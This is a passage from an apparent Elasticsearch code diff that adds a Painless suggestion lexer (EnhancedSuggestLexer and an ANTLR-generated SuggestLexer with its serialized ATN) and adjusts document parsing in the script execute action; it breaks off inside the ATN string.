factory.newFactory(StringFieldScript.CONTEXT.name, request.getScript().getParams(), context.lookup()); + StringFieldScript stringFieldScript = leafFactory.newInstance(leafReaderContext); + List keywords = new ArrayList<>(); + stringFieldScript.runForDoc(0, keywords::add); + return new Response(keywords); + }, indexService); } else { throw new UnsupportedOperationException("unsupported context [" + scriptContext.name + "]"); } @@ -538,7 +649,13 @@ private static Response prepareRamIndex(Request request, BytesReference document = request.contextSetup.document; XContentType xContentType = request.contextSetup.xContentType; SourceToParse sourceToParse = new SourceToParse(index, "_id", document, xContentType); - ParsedDocument parsedDocument = indexService.mapperService().documentMapper().parse(sourceToParse); + MappingLookup mappingLookup = indexService.mapperService().mappingLookup(); + DocumentParser documentParser = indexService.mapperService().documentParser(); + //Note that we are not doing anything with dynamic mapping updates, hence fields that are not mapped but are present + //in the sample doc are not accessible from the script through doc['field']. + //This is a problem especially for indices that have no mappings, as no fields will be accessible, neither through doc + //nor _source (if there are no mappings there are no metadata fields). + ParsedDocument parsedDocument = documentParser.parseDocument(sourceToParse, mappingLookup); indexWriter.addDocuments(parsedDocument.docs()); try (IndexReader indexReader = DirectoryReader.open(indexWriter)) { final IndexSearcher searcher = new IndexSearcher(indexReader); diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/antlr/EnhancedSuggestLexer.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/antlr/EnhancedSuggestLexer.java new file mode 100644 index 0000000000000..f2bfba4f4b6cd --- /dev/null +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/antlr/EnhancedSuggestLexer.java @@ -0,0 +1,76 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.painless.antlr; + +import org.antlr.v4.runtime.CharStream; +import org.antlr.v4.runtime.LexerNoViableAltException; +import org.antlr.v4.runtime.Token; +import org.elasticsearch.painless.lookup.PainlessLookup; + +/** + * A lexer that is customized for painless suggestions with the following modifications: + *
    + *
  • Overrides the default error behavior to only fail if we don't recognize a token in default mode + *
  • Stores the last token in case we need to do lookbehind for regex vs division detection + *
  • Implements the regex vs division detection + *
  • Enhances the error message when a string contains invalid escape sequences to include a list of valid escape sequences + *
+ */ +public final class EnhancedSuggestLexer extends SuggestLexer { + + private Token current = null; + private final PainlessLookup painlessLookup; + + public EnhancedSuggestLexer(CharStream charStream, PainlessLookup painlessLookup) { + super(charStream); + this.painlessLookup = painlessLookup; + } + + @Override + public Token nextToken() { + current = super.nextToken(); + return current; + } + + @Override + public void recover(final LexerNoViableAltException lnvae) { + if (this._mode != PainlessLexer.DEFAULT_MODE) { + this._mode = DEFAULT_MODE; + } else { + throw new IllegalStateException("unexpected token [" + lnvae.getOffendingToken().getText() + "]", lnvae); + } + } + + @Override + protected boolean isSlashRegex() { + Token lastToken = current; + if (lastToken == null) { + return true; + } + switch (lastToken.getType()) { + case PainlessLexer.RBRACE: + case PainlessLexer.RP: + case PainlessLexer.OCTAL: + case PainlessLexer.HEX: + case PainlessLexer.INTEGER: + case PainlessLexer.DECIMAL: + case PainlessLexer.ID: + case PainlessLexer.DOTINTEGER: + case PainlessLexer.DOTID: + return false; + default: + return true; + } + } + + @Override + protected boolean isType(String text) { + return painlessLookup.isValidCanonicalClassName(text); + } +} diff --git a/modules/lang-painless/src/main/java/org/elasticsearch/painless/antlr/SuggestLexer.java b/modules/lang-painless/src/main/java/org/elasticsearch/painless/antlr/SuggestLexer.java new file mode 100644 index 0000000000000..90c410c46c8a0 --- /dev/null +++ b/modules/lang-painless/src/main/java/org/elasticsearch/painless/antlr/SuggestLexer.java @@ -0,0 +1,389 @@ +// ANTLR GENERATED CODE: DO NOT EDIT +package org.elasticsearch.painless.antlr; +import org.antlr.v4.runtime.Lexer; +import org.antlr.v4.runtime.CharStream; +import org.antlr.v4.runtime.Token; +import org.antlr.v4.runtime.TokenStream; +import org.antlr.v4.runtime.*; +import org.antlr.v4.runtime.atn.*; +import org.antlr.v4.runtime.dfa.DFA; +import org.antlr.v4.runtime.misc.*; + +@SuppressWarnings({"all", "warnings", "unchecked", "unused", "cast"}) +public abstract class SuggestLexer extends Lexer { + static { RuntimeMetaData.checkVersion("4.5.3", RuntimeMetaData.VERSION); } + + protected static final DFA[] _decisionToDFA; + protected static final PredictionContextCache _sharedContextCache = + new PredictionContextCache(); + public static final int + WS=1, COMMENT=2, LBRACK=3, RBRACK=4, LBRACE=5, RBRACE=6, LP=7, RP=8, DOT=9, + NSDOT=10, COMMA=11, SEMICOLON=12, IF=13, IN=14, ELSE=15, WHILE=16, DO=17, + FOR=18, CONTINUE=19, BREAK=20, RETURN=21, NEW=22, TRY=23, CATCH=24, THROW=25, + THIS=26, INSTANCEOF=27, BOOLNOT=28, BWNOT=29, MUL=30, DIV=31, REM=32, + ADD=33, SUB=34, LSH=35, RSH=36, USH=37, LT=38, LTE=39, GT=40, GTE=41, + EQ=42, EQR=43, NE=44, NER=45, BWAND=46, XOR=47, BWOR=48, BOOLAND=49, BOOLOR=50, + COND=51, COLON=52, ELVIS=53, REF=54, ARROW=55, FIND=56, MATCH=57, INCR=58, + DECR=59, ASSIGN=60, AADD=61, ASUB=62, AMUL=63, ADIV=64, AREM=65, AAND=66, + AXOR=67, AOR=68, ALSH=69, ARSH=70, AUSH=71, OCTAL=72, HEX=73, INTEGER=74, + DECIMAL=75, STRING=76, REGEX=77, TRUE=78, FALSE=79, NULL=80, ATYPE=81, + TYPE=82, ID=83, UNKNOWN=84, DOTINTEGER=85, DOTID=86; + public static final int AFTER_DOT = 1; + public static String[] modeNames = { + "DEFAULT_MODE", "AFTER_DOT" + }; + + public static final String[] ruleNames = { + "WS", "COMMENT", "LBRACK", "RBRACK", "LBRACE", "RBRACE", "LP", "RP", "DOT", + "NSDOT", "COMMA", "SEMICOLON", "IF", "IN", "ELSE", "WHILE", "DO", "FOR", + "CONTINUE", "BREAK", "RETURN", "NEW", "TRY", "CATCH", "THROW", "THIS", + "INSTANCEOF", "BOOLNOT", "BWNOT", "MUL", "DIV", "REM", "ADD", "SUB", "LSH", + "RSH", "USH", "LT", "LTE", "GT", "GTE", "EQ", "EQR", "NE", "NER", "BWAND", + "XOR", "BWOR", "BOOLAND", "BOOLOR", "COND", "COLON", "ELVIS", "REF", "ARROW", + "FIND", "MATCH", "INCR", "DECR", "ASSIGN", "AADD", "ASUB", "AMUL", "ADIV", + "AREM", "AAND", "AXOR", "AOR", "ALSH", "ARSH", "AUSH", "OCTAL", "HEX", + "INTEGER", "DECIMAL", "STRING", "REGEX", "TRUE", "FALSE", "NULL", "ATYPE", + "TYPE", "ID", "UNKNOWN", "DOTINTEGER", "DOTID" + }; + + private static final String[] _LITERAL_NAMES = { + null, null, null, "'{'", "'}'", "'['", "']'", "'('", "')'", "'.'", "'?.'", + "','", "';'", "'if'", "'in'", "'else'", "'while'", "'do'", "'for'", "'continue'", + "'break'", "'return'", "'new'", "'try'", "'catch'", "'throw'", "'this'", + "'instanceof'", "'!'", "'~'", "'*'", "'/'", "'%'", "'+'", "'-'", "'<<'", + "'>>'", "'>>>'", "'<'", "'<='", "'>'", "'>='", "'=='", "'==='", "'!='", + "'!=='", "'&'", "'^'", "'|'", "'&&'", "'||'", "'?'", "':'", "'?:'", "'::'", + "'->'", "'=~'", "'==~'", "'++'", "'--'", "'='", "'+='", "'-='", "'*='", + "'/='", "'%='", "'&='", "'^='", "'|='", "'<<='", "'>>='", "'>>>='", null, + null, null, null, null, null, "'true'", "'false'", "'null'" + }; + private static final String[] _SYMBOLIC_NAMES = { + null, "WS", "COMMENT", "LBRACK", "RBRACK", "LBRACE", "RBRACE", "LP", "RP", + "DOT", "NSDOT", "COMMA", "SEMICOLON", "IF", "IN", "ELSE", "WHILE", "DO", + "FOR", "CONTINUE", "BREAK", "RETURN", "NEW", "TRY", "CATCH", "THROW", + "THIS", "INSTANCEOF", "BOOLNOT", "BWNOT", "MUL", "DIV", "REM", "ADD", + "SUB", "LSH", "RSH", "USH", "LT", "LTE", "GT", "GTE", "EQ", "EQR", "NE", + "NER", "BWAND", "XOR", "BWOR", "BOOLAND", "BOOLOR", "COND", "COLON", "ELVIS", + "REF", "ARROW", "FIND", "MATCH", "INCR", "DECR", "ASSIGN", "AADD", "ASUB", + "AMUL", "ADIV", "AREM", "AAND", "AXOR", "AOR", "ALSH", "ARSH", "AUSH", + "OCTAL", "HEX", "INTEGER", "DECIMAL", "STRING", "REGEX", "TRUE", "FALSE", + "NULL", "ATYPE", "TYPE", "ID", "UNKNOWN", "DOTINTEGER", "DOTID" + }; + public static final Vocabulary VOCABULARY = new VocabularyImpl(_LITERAL_NAMES, _SYMBOLIC_NAMES); + + /** + * @deprecated Use {@link #VOCABULARY} instead. + */ + @Deprecated + public static final String[] tokenNames; + static { + tokenNames = new String[_SYMBOLIC_NAMES.length]; + for (int i = 0; i < tokenNames.length; i++) { + tokenNames[i] = VOCABULARY.getLiteralName(i); + if (tokenNames[i] == null) { + tokenNames[i] = VOCABULARY.getSymbolicName(i); + } + + if (tokenNames[i] == null) { + tokenNames[i] = ""; + } + } + } + + @Override + @Deprecated + public String[] getTokenNames() { + return tokenNames; + } + + @Override + + public Vocabulary getVocabulary() { + return VOCABULARY; + } + + + /** Is the preceding {@code /} a the beginning of a regex (true) or a division (false). */ + protected abstract boolean isSlashRegex(); + protected abstract boolean isType(String text); + + + public SuggestLexer(CharStream input) { + super(input); + _interp = new LexerATNSimulator(this,_ATN,_decisionToDFA,_sharedContextCache); + } + + @Override + public String getGrammarFileName() { return "SuggestLexer.g4"; } + + @Override + public String[] getRuleNames() { return ruleNames; } + + @Override + public String getSerializedATN() { return _serializedATN; } + + @Override + public String[] getModeNames() { return modeNames; } + + @Override + public ATN getATN() { return _ATN; } + + @Override + public boolean sempred(RuleContext _localctx, int ruleIndex, int predIndex) { + switch (ruleIndex) { + case 30: + return DIV_sempred((RuleContext)_localctx, predIndex); + case 76: + return REGEX_sempred((RuleContext)_localctx, predIndex); + case 81: + return TYPE_sempred((RuleContext)_localctx, predIndex); + } + return true; + } + private boolean DIV_sempred(RuleContext _localctx, int predIndex) { + switch (predIndex) { + case 0: + return isSlashRegex() == false ; + } + return true; + } + private boolean REGEX_sempred(RuleContext _localctx, int predIndex) { + switch (predIndex) { + case 1: + return isSlashRegex() ; + } + return true; + } + private boolean TYPE_sempred(RuleContext _localctx, int predIndex) { + switch (predIndex) { + case 2: + return isType(getText()) ; + } + return true; + } + + public static final String _serializedATN = + "\3\u0430\ud6d1\u8206\uad2d\u4417\uaef1\u8d80\uaadd\2X\u0267\b\1\b\1\4"+ + "\2\t\2\4\3\t\3\4\4\t\4\4\5\t\5\4\6\t\6\4\7\t\7\4\b\t\b\4\t\t\t\4\n\t\n"+ + "\4\13\t\13\4\f\t\f\4\r\t\r\4\16\t\16\4\17\t\17\4\20\t\20\4\21\t\21\4\22"+ + "\t\22\4\23\t\23\4\24\t\24\4\25\t\25\4\26\t\26\4\27\t\27\4\30\t\30\4\31"+ + "\t\31\4\32\t\32\4\33\t\33\4\34\t\34\4\35\t\35\4\36\t\36\4\37\t\37\4 \t"+ + " \4!\t!\4\"\t\"\4#\t#\4$\t$\4%\t%\4&\t&\4\'\t\'\4(\t(\4)\t)\4*\t*\4+\t"+ + "+\4,\t,\4-\t-\4.\t.\4/\t/\4\60\t\60\4\61\t\61\4\62\t\62\4\63\t\63\4\64"+ + "\t\64\4\65\t\65\4\66\t\66\4\67\t\67\48\t8\49\t9\4:\t:\4;\t;\4<\t<\4=\t"+ + "=\4>\t>\4?\t?\4@\t@\4A\tA\4B\tB\4C\tC\4D\tD\4E\tE\4F\tF\4G\tG\4H\tH\4"+ + "I\tI\4J\tJ\4K\tK\4L\tL\4M\tM\4N\tN\4O\tO\4P\tP\4Q\tQ\4R\tR\4S\tS\4T\t"+ + "T\4U\tU\4V\tV\4W\tW\3\2\6\2\u00b2\n\2\r\2\16\2\u00b3\3\2\3\2\3\3\3\3\3"+ + "\3\3\3\7\3\u00bc\n\3\f\3\16\3\u00bf\13\3\3\3\3\3\3\3\3\3\3\3\7\3\u00c6"+ + "\n\3\f\3\16\3\u00c9\13\3\3\3\3\3\5\3\u00cd\n\3\3\3\3\3\3\4\3\4\3\5\3\5"+ + "\3\6\3\6\3\7\3\7\3\b\3\b\3\t\3\t\3\n\3\n\3\n\3\n\3\13\3\13\3\13\3\13\3"+ + "\13\3\f\3\f\3\r\3\r\3\16\3\16\3\16\3\17\3\17\3\17\3\20\3\20\3\20\3\20"+ + "\3\20\3\21\3\21\3\21\3\21\3\21\3\21\3\22\3\22\3\22\3\23\3\23\3\23\3\23"+ + "\3\24\3\24\3\24\3\24\3\24\3\24\3\24\3\24\3\24\3\25\3\25\3\25\3\25\3\25"+ + "\3\25\3\26\3\26\3\26\3\26\3\26\3\26\3\26\3\27\3\27\3\27\3\27\3\30\3\30"+ + "\3\30\3\30\3\31\3\31\3\31\3\31\3\31\3\31\3\32\3\32\3\32\3\32\3\32\3\32"+ + "\3\33\3\33\3\33\3\33\3\33\3\34\3\34\3\34\3\34\3\34\3\34\3\34\3\34\3\34"+ + "\3\34\3\34\3\35\3\35\3\36\3\36\3\37\3\37\3 \3 \3 \3!\3!\3\"\3\"\3#\3#"+ + "\3$\3$\3$\3%\3%\3%\3&\3&\3&\3&\3\'\3\'\3(\3(\3(\3)\3)\3*\3*\3*\3+\3+\3"+ + "+\3,\3,\3,\3,\3-\3-\3-\3.\3.\3.\3.\3/\3/\3\60\3\60\3\61\3\61\3\62\3\62"+ + "\3\62\3\63\3\63\3\63\3\64\3\64\3\65\3\65\3\66\3\66\3\66\3\67\3\67\3\67"+ + "\38\38\38\39\39\39\3:\3:\3:\3:\3;\3;\3;\3<\3<\3<\3=\3=\3>\3>\3>\3?\3?"+ + "\3?\3@\3@\3@\3A\3A\3A\3B\3B\3B\3C\3C\3C\3D\3D\3D\3E\3E\3E\3F\3F\3F\3F"+ + "\3G\3G\3G\3G\3H\3H\3H\3H\3H\3I\3I\6I\u01bc\nI\rI\16I\u01bd\3I\5I\u01c1"+ + "\nI\3J\3J\3J\6J\u01c6\nJ\rJ\16J\u01c7\3J\5J\u01cb\nJ\3K\3K\3K\7K\u01d0"+ + "\nK\fK\16K\u01d3\13K\5K\u01d5\nK\3K\5K\u01d8\nK\3L\3L\3L\7L\u01dd\nL\f"+ + "L\16L\u01e0\13L\5L\u01e2\nL\3L\3L\6L\u01e6\nL\rL\16L\u01e7\5L\u01ea\n"+ + "L\3L\3L\5L\u01ee\nL\3L\6L\u01f1\nL\rL\16L\u01f2\5L\u01f5\nL\3L\5L\u01f8"+ + "\nL\3M\3M\3M\3M\3M\3M\7M\u0200\nM\fM\16M\u0203\13M\3M\3M\3M\3M\3M\3M\3"+ + "M\7M\u020c\nM\fM\16M\u020f\13M\3M\5M\u0212\nM\3N\3N\3N\3N\6N\u0218\nN"+ + "\rN\16N\u0219\3N\3N\7N\u021e\nN\fN\16N\u0221\13N\3N\3N\3O\3O\3O\3O\3O"+ + "\3P\3P\3P\3P\3P\3P\3Q\3Q\3Q\3Q\3Q\3R\3R\3R\3R\6R\u0239\nR\rR\16R\u023a"+ + "\3S\3S\3S\3S\7S\u0241\nS\fS\16S\u0244\13S\3S\3S\3T\3T\7T\u024a\nT\fT\16"+ + "T\u024d\13T\3U\3U\3U\3U\3V\3V\3V\7V\u0256\nV\fV\16V\u0259\13V\5V\u025b"+ + "\nV\3V\3V\3W\3W\7W\u0261\nW\fW\16W\u0264\13W\3W\3W\7\u00bd\u00c7\u0201"+ + "\u020d\u0219\2X\4\3\6\4\b\5\n\6\f\7\16\b\20\t\22\n\24\13\26\f\30\r\32"+ + "\16\34\17\36\20 \21\"\22$\23&\24(\25*\26,\27.\30\60\31\62\32\64\33\66"+ + "\348\35:\36<\37> @!B\"D#F$H%J&L\'N(P)R*T+V,X-Z.\\/^\60`\61b\62d\63f\64"+ + "h\65j\66l\67n8p9r:t;v|?~@\u0080A\u0082B\u0084C\u0086D\u0088E\u008a"+ + "F\u008cG\u008eH\u0090I\u0092J\u0094K\u0096L\u0098M\u009aN\u009cO\u009e"+ + "P\u00a0Q\u00a2R\u00a4S\u00a6T\u00a8U\u00aaV\u00acW\u00aeX\4\2\3\25\5\2"+ + "\13\f\17\17\"\"\4\2\f\f\17\17\3\2\629\4\2NNnn\4\2ZZzz\5\2\62;CHch\3\2"+ + "\63;\3\2\62;\b\2FFHHNNffhhnn\4\2GGgg\4\2--//\6\2FFHHffhh\4\2$$^^\4\2)"+ + ")^^\3\2\f\f\4\2\f\f\61\61\t\2WWeekknouuwwzz\5\2C\\aac|\6\2\62;C\\aac|"+ + "\u0288\2\4\3\2\2\2\2\6\3\2\2\2\2\b\3\2\2\2\2\n\3\2\2\2\2\f\3\2\2\2\2\16"+ + "\3\2\2\2\2\20\3\2\2\2\2\22\3\2\2\2\2\24\3\2\2\2\2\26\3\2\2\2\2\30\3\2"+ + "\2\2\2\32\3\2\2\2\2\34\3\2\2\2\2\36\3\2\2\2\2 \3\2\2\2\2\"\3\2\2\2\2$"+ + "\3\2\2\2\2&\3\2\2\2\2(\3\2\2\2\2*\3\2\2\2\2,\3\2\2\2\2.\3\2\2\2\2\60\3"+ + "\2\2\2\2\62\3\2\2\2\2\64\3\2\2\2\2\66\3\2\2\2\28\3\2\2\2\2:\3\2\2\2\2"+ + "<\3\2\2\2\2>\3\2\2\2\2@\3\2\2\2\2B\3\2\2\2\2D\3\2\2\2\2F\3\2\2\2\2H\3"+ + "\2\2\2\2J\3\2\2\2\2L\3\2\2\2\2N\3\2\2\2\2P\3\2\2\2\2R\3\2\2\2\2T\3\2\2"+ + "\2\2V\3\2\2\2\2X\3\2\2\2\2Z\3\2\2\2\2\\\3\2\2\2\2^\3\2\2\2\2`\3\2\2\2"+ + "\2b\3\2\2\2\2d\3\2\2\2\2f\3\2\2\2\2h\3\2\2\2\2j\3\2\2\2\2l\3\2\2\2\2n"+ + "\3\2\2\2\2p\3\2\2\2\2r\3\2\2\2\2t\3\2\2\2\2v\3\2\2\2\2x\3\2\2\2\2z\3\2"+ + "\2\2\2|\3\2\2\2\2~\3\2\2\2\2\u0080\3\2\2\2\2\u0082\3\2\2\2\2\u0084\3\2"+ + "\2\2\2\u0086\3\2\2\2\2\u0088\3\2\2\2\2\u008a\3\2\2\2\2\u008c\3\2\2\2\2"+ + "\u008e\3\2\2\2\2\u0090\3\2\2\2\2\u0092\3\2\2\2\2\u0094\3\2\2\2\2\u0096"+ + "\3\2\2\2\2\u0098\3\2\2\2\2\u009a\3\2\2\2\2\u009c\3\2\2\2\2\u009e\3\2\2"+ + "\2\2\u00a0\3\2\2\2\2\u00a2\3\2\2\2\2\u00a4\3\2\2\2\2\u00a6\3\2\2\2\2\u00a8"+ + "\3\2\2\2\2\u00aa\3\2\2\2\3\u00ac\3\2\2\2\3\u00ae\3\2\2\2\4\u00b1\3\2\2"+ + "\2\6\u00cc\3\2\2\2\b\u00d0\3\2\2\2\n\u00d2\3\2\2\2\f\u00d4\3\2\2\2\16"+ + "\u00d6\3\2\2\2\20\u00d8\3\2\2\2\22\u00da\3\2\2\2\24\u00dc\3\2\2\2\26\u00e0"+ + "\3\2\2\2\30\u00e5\3\2\2\2\32\u00e7\3\2\2\2\34\u00e9\3\2\2\2\36\u00ec\3"+ + "\2\2\2 \u00ef\3\2\2\2\"\u00f4\3\2\2\2$\u00fa\3\2\2\2&\u00fd\3\2\2\2(\u0101"+ + "\3\2\2\2*\u010a\3\2\2\2,\u0110\3\2\2\2.\u0117\3\2\2\2\60\u011b\3\2\2\2"+ + "\62\u011f\3\2\2\2\64\u0125\3\2\2\2\66\u012b\3\2\2\28\u0130\3\2\2\2:\u013b"+ + "\3\2\2\2<\u013d\3\2\2\2>\u013f\3\2\2\2@\u0141\3\2\2\2B\u0144\3\2\2\2D"+ + "\u0146\3\2\2\2F\u0148\3\2\2\2H\u014a\3\2\2\2J\u014d\3\2\2\2L\u0150\3\2"+ + "\2\2N\u0154\3\2\2\2P\u0156\3\2\2\2R\u0159\3\2\2\2T\u015b\3\2\2\2V\u015e"+ + "\3\2\2\2X\u0161\3\2\2\2Z\u0165\3\2\2\2\\\u0168\3\2\2\2^\u016c\3\2\2\2"+ + "`\u016e\3\2\2\2b\u0170\3\2\2\2d\u0172\3\2\2\2f\u0175\3\2\2\2h\u0178\3"+ + "\2\2\2j\u017a\3\2\2\2l\u017c\3\2\2\2n\u017f\3\2\2\2p\u0182\3\2\2\2r\u0185"+ + "\3\2\2\2t\u0188\3\2\2\2v\u018c\3\2\2\2x\u018f\3\2\2\2z\u0192\3\2\2\2|"+ + "\u0194\3\2\2\2~\u0197\3\2\2\2\u0080\u019a\3\2\2\2\u0082\u019d\3\2\2\2"+ + "\u0084\u01a0\3\2\2\2\u0086\u01a3\3\2\2\2\u0088\u01a6\3\2\2\2\u008a\u01a9"+ + "\3\2\2\2\u008c\u01ac\3\2\2\2\u008e\u01b0\3\2\2\2\u0090\u01b4\3\2\2\2\u0092"+ + "\u01b9\3\2\2\2\u0094\u01c2\3\2\2\2\u0096\u01d4\3\2\2\2\u0098\u01e1\3\2"+ + "\2\2\u009a\u0211\3\2\2\2\u009c\u0213\3\2\2\2\u009e\u0224\3\2\2\2\u00a0"+ + "\u0229\3\2\2\2\u00a2\u022f\3\2\2\2\u00a4\u0234\3\2\2\2\u00a6\u023c\3\2"+ + "\2\2\u00a8\u0247\3\2\2\2\u00aa\u024e\3\2\2\2\u00ac\u025a\3\2\2\2\u00ae"+ + "\u025e\3\2\2\2\u00b0\u00b2\t\2\2\2\u00b1\u00b0\3\2\2\2\u00b2\u00b3\3\2"+ + "\2\2\u00b3\u00b1\3\2\2\2\u00b3\u00b4\3\2\2\2\u00b4\u00b5\3\2\2\2\u00b5"+ + "\u00b6\b\2\2\2\u00b6\5\3\2\2\2\u00b7\u00b8\7\61\2\2\u00b8\u00b9\7\61\2"+ + "\2\u00b9\u00bd\3\2\2\2\u00ba\u00bc\13\2\2\2\u00bb\u00ba\3\2\2\2\u00bc"+ + "\u00bf\3\2\2\2\u00bd\u00be\3\2\2\2\u00bd\u00bb\3\2\2\2\u00be\u00c0\3\2"+ + "\2\2\u00bf\u00bd\3\2\2\2\u00c0\u00cd\t\3\2\2\u00c1\u00c2\7\61\2\2\u00c2"+ + "\u00c3\7,\2\2\u00c3\u00c7\3\2\2\2\u00c4\u00c6\13\2\2\2\u00c5\u00c4\3\2"+ + "\2\2\u00c6\u00c9\3\2\2\2\u00c7\u00c8\3\2\2\2\u00c7\u00c5\3\2\2\2\u00c8"+ + "\u00ca\3\2\2\2\u00c9\u00c7\3\2\2\2\u00ca\u00cb\7,\2\2\u00cb\u00cd\7\61"+ + "\2\2\u00cc\u00b7\3\2\2\2\u00cc\u00c1\3\2\2\2\u00cd\u00ce\3\2\2\2\u00ce"+ + "\u00cf\b\3\2\2\u00cf\7\3\2\2\2\u00d0\u00d1\7}\2\2\u00d1\t\3\2\2\2\u00d2"+ + "\u00d3\7\177\2\2\u00d3\13\3\2\2\2\u00d4\u00d5\7]\2\2\u00d5\r\3\2\2\2\u00d6"+ + "\u00d7\7_\2\2\u00d7\17\3\2\2\2\u00d8\u00d9\7*\2\2\u00d9\21\3\2\2\2\u00da"+ + "\u00db\7+\2\2\u00db\23\3\2\2\2\u00dc\u00dd\7\60\2\2\u00dd\u00de\3\2\2"+ + "\2\u00de\u00df\b\n\3\2\u00df\25\3\2\2\2\u00e0\u00e1\7A\2\2\u00e1\u00e2"+ + "\7\60\2\2\u00e2\u00e3\3\2\2\2\u00e3\u00e4\b\13\3\2\u00e4\27\3\2\2\2\u00e5"+ + "\u00e6\7.\2\2\u00e6\31\3\2\2\2\u00e7\u00e8\7=\2\2\u00e8\33\3\2\2\2\u00e9"+ + "\u00ea\7k\2\2\u00ea\u00eb\7h\2\2\u00eb\35\3\2\2\2\u00ec\u00ed\7k\2\2\u00ed"+ + "\u00ee\7p\2\2\u00ee\37\3\2\2\2\u00ef\u00f0\7g\2\2\u00f0\u00f1\7n\2\2\u00f1"+ + "\u00f2\7u\2\2\u00f2\u00f3\7g\2\2\u00f3!\3\2\2\2\u00f4\u00f5\7y\2\2\u00f5"+ + "\u00f6\7j\2\2\u00f6\u00f7\7k\2\2\u00f7\u00f8\7n\2\2\u00f8\u00f9\7g\2\2"+ + "\u00f9#\3\2\2\2\u00fa\u00fb\7f\2\2\u00fb\u00fc\7q\2\2\u00fc%\3\2\2\2\u00fd"+ + "\u00fe\7h\2\2\u00fe\u00ff\7q\2\2\u00ff\u0100\7t\2\2\u0100\'\3\2\2\2\u0101"+ + "\u0102\7e\2\2\u0102\u0103\7q\2\2\u0103\u0104\7p\2\2\u0104\u0105\7v\2\2"+ + "\u0105\u0106\7k\2\2\u0106\u0107\7p\2\2\u0107\u0108\7w\2\2\u0108\u0109"+ + "\7g\2\2\u0109)\3\2\2\2\u010a\u010b\7d\2\2\u010b\u010c\7t\2\2\u010c\u010d"+ + "\7g\2\2\u010d\u010e\7c\2\2\u010e\u010f\7m\2\2\u010f+\3\2\2\2\u0110\u0111"+ + "\7t\2\2\u0111\u0112\7g\2\2\u0112\u0113\7v\2\2\u0113\u0114\7w\2\2\u0114"+ + "\u0115\7t\2\2\u0115\u0116\7p\2\2\u0116-\3\2\2\2\u0117\u0118\7p\2\2\u0118"+ + "\u0119\7g\2\2\u0119\u011a\7y\2\2\u011a/\3\2\2\2\u011b\u011c\7v\2\2\u011c"+ + "\u011d\7t\2\2\u011d\u011e\7{\2\2\u011e\61\3\2\2\2\u011f\u0120\7e\2\2\u0120"+ + "\u0121\7c\2\2\u0121\u0122\7v\2\2\u0122\u0123\7e\2\2\u0123\u0124\7j\2\2"+ + "\u0124\63\3\2\2\2\u0125\u0126\7v\2\2\u0126\u0127\7j\2\2\u0127\u0128\7"+ + "t\2\2\u0128\u0129\7q\2\2\u0129\u012a\7y\2\2\u012a\65\3\2\2\2\u012b\u012c"+ + "\7v\2\2\u012c\u012d\7j\2\2\u012d\u012e\7k\2\2\u012e\u012f\7u\2\2\u012f"+ + "\67\3\2\2\2\u0130\u0131\7k\2\2\u0131\u0132\7p\2\2\u0132\u0133\7u\2\2\u0133"+ + "\u0134\7v\2\2\u0134\u0135\7c\2\2\u0135\u0136\7p\2\2\u0136\u0137\7e\2\2"+ + "\u0137\u0138\7g\2\2\u0138\u0139\7q\2\2\u0139\u013a\7h\2\2\u013a9\3\2\2"+ + "\2\u013b\u013c\7#\2\2\u013c;\3\2\2\2\u013d\u013e\7\u0080\2\2\u013e=\3"+ + "\2\2\2\u013f\u0140\7,\2\2\u0140?\3\2\2\2\u0141\u0142\7\61\2\2\u0142\u0143"+ + "\6 \2\2\u0143A\3\2\2\2\u0144\u0145\7\'\2\2\u0145C\3\2\2\2\u0146\u0147"+ + "\7-\2\2\u0147E\3\2\2\2\u0148\u0149\7/\2\2\u0149G\3\2\2\2\u014a\u014b\7"+ + ">\2\2\u014b\u014c\7>\2\2\u014cI\3\2\2\2\u014d\u014e\7@\2\2\u014e\u014f"+ + "\7@\2\2\u014fK\3\2\2\2\u0150\u0151\7@\2\2\u0151\u0152\7@\2\2\u0152\u0153"+ + "\7@\2\2\u0153M\3\2\2\2\u0154\u0155\7>\2\2\u0155O\3\2\2\2\u0156\u0157\7"+ + ">\2\2\u0157\u0158\7?\2\2\u0158Q\3\2\2\2\u0159\u015a\7@\2\2\u015aS\3\2"+ + "\2\2\u015b\u015c\7@\2\2\u015c\u015d\7?\2\2\u015dU\3\2\2\2\u015e\u015f"+ + "\7?\2\2\u015f\u0160\7?\2\2\u0160W\3\2\2\2\u0161\u0162\7?\2\2\u0162\u0163"+ + "\7?\2\2\u0163\u0164\7?\2\2\u0164Y\3\2\2\2\u0165\u0166\7#\2\2\u0166\u0167"+ + "\7?\2\2\u0167[\3\2\2\2\u0168\u0169\7#\2\2\u0169\u016a\7?\2\2\u016a\u016b"+ + "\7?\2\2\u016b]\3\2\2\2\u016c\u016d\7(\2\2\u016d_\3\2\2\2\u016e\u016f\7"+ + "`\2\2\u016fa\3\2\2\2\u0170\u0171\7~\2\2\u0171c\3\2\2\2\u0172\u0173\7("+ + "\2\2\u0173\u0174\7(\2\2\u0174e\3\2\2\2\u0175\u0176\7~\2\2\u0176\u0177"+ + "\7~\2\2\u0177g\3\2\2\2\u0178\u0179\7A\2\2\u0179i\3\2\2\2\u017a\u017b\7"+ + "<\2\2\u017bk\3\2\2\2\u017c\u017d\7A\2\2\u017d\u017e\7<\2\2\u017em\3\2"+ + "\2\2\u017f\u0180\7<\2\2\u0180\u0181\7<\2\2\u0181o\3\2\2\2\u0182\u0183"+ + "\7/\2\2\u0183\u0184\7@\2\2\u0184q\3\2\2\2\u0185\u0186\7?\2\2\u0186\u0187"+ + "\7\u0080\2\2\u0187s\3\2\2\2\u0188\u0189\7?\2\2\u0189\u018a\7?\2\2\u018a"+ + "\u018b\7\u0080\2\2\u018bu\3\2\2\2\u018c\u018d\7-\2\2\u018d\u018e\7-\2"+ + "\2\u018ew\3\2\2\2\u018f\u0190\7/\2\2\u0190\u0191\7/\2\2\u0191y\3\2\2\2"+ + "\u0192\u0193\7?\2\2\u0193{\3\2\2\2\u0194\u0195\7-\2\2\u0195\u0196\7?\2"+ + "\2\u0196}\3\2\2\2\u0197\u0198\7/\2\2\u0198\u0199\7?\2\2\u0199\177\3\2"+ + 